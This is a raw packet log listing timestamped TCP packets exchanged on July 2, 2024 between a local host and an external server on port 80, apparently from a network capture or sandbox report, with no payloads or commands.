Jul 2, 2024 22:52:27.087229967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087239027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087244034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.087248087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087258101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087265015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.087268114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087276936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087285995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087286949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.087296009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087305069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087310076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.087315083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087325096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.087335110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.087342024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.087363005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.088099003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088109970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088118076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088128090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088135958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088145018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088155031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088159084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.088164091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088174105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088185072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088195086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088203907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088212013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.088213921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088224888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088233948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.088234901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088244915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088248968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.088254929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088270903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088279009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.088279963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.088300943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.088311911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.089082003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089092016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089099884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089108944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089118004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089124918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.089127064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089137077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089145899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089147091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.089155912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089163065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.089165926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089174986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089179039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.089184046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089194059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089199066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.089202881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089211941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089221001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.089221954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089231014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.089231014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089242935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.089257002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.089282990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.090023041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090034962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090044975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090054035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090063095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090071917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090075970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.090082884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090092897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090101004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.090101957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090111971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090121031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090122938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.090130091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090141058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090143919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.090151072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090161085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090167046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.090169907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090179920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090188980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090192080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.090210915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.090231895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.090975046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090985060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.090992928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091001987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091012001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091013908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.091022968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091032028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091041088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091049910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091053963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.091058969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091068029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091077089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091087103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091089964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.091097116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091106892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091114998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.091115952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091125965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091130018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.091136932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091145992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091152906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.091156960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091176987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.091195107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.091957092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091967106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091975927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091984987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091994047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.091994047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092004061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092011929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092022896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092031956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092036963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092041016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092051029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092060089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092070103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092078924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092088938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092088938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092099905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092108011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092118025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092143059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092164993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092709064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092720032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092727900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092751026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092761040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092766047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092775106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092783928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092793941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092793941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092802048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092812061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092819929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092822075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092829943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092839003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092850924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092859983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092868090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092869997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092880011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092889071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092894077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092899084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092909098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092916012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092920065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092930079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092938900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.092940092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.092979908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.093656063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093667030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093673944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093683958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093693972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093698978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.093703985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093717098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093732119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.093739033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093749046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093758106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093763113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.093787909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.093791008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093799114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093805075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093813896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093822956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093832016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093842983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093842983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.093852997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093868017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093873978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.093877077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093885899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.093888044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093897104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093907118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.093925953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.093955994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.094523907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.094590902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.094602108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.094614983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.094625950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.094630957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.094650984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.094805956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.094851017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.095016956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095046043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095056057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095068932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095077038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095082045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095082998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.095092058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095102072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095105886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.095107079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095120907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095129967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095132113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.095139980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095151901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095160961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095169067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.095169067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.095170021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095180035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095185041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.095190048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095199108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095205069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095210075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095213890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.095225096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.095253944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.096893072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.116413116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.116425037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.116436005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.116519928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.116550922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.116561890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.116570950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.116580963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.116689920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.116689920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.178478003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178533077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178543091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178560972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178571939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178581953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178591967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178653955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178735018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.178735018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.178735018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.178812981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178824902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178833961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178843975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.178862095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.178896904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.178991079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179002047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179012060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179022074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179030895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179039955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179044008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179068089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179083109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179375887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179385900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179397106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179406881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179416895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179421902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179425955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179456949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179476976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179477930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179486990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179497004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179516077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179689884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179701090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179711103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179738045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179760933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179824114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179833889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179842949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179853916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179863930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179872990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179872990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179883957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179892063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179896116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.179918051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.179939032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.180071115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180155039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180164099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180175066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180185080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180191994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.180195093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180203915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180207968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.180226088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.180385113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180394888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180406094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180414915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180423975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.180424929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.180442095 CEST	49712	80	192.168.2.5	77.221.149.185
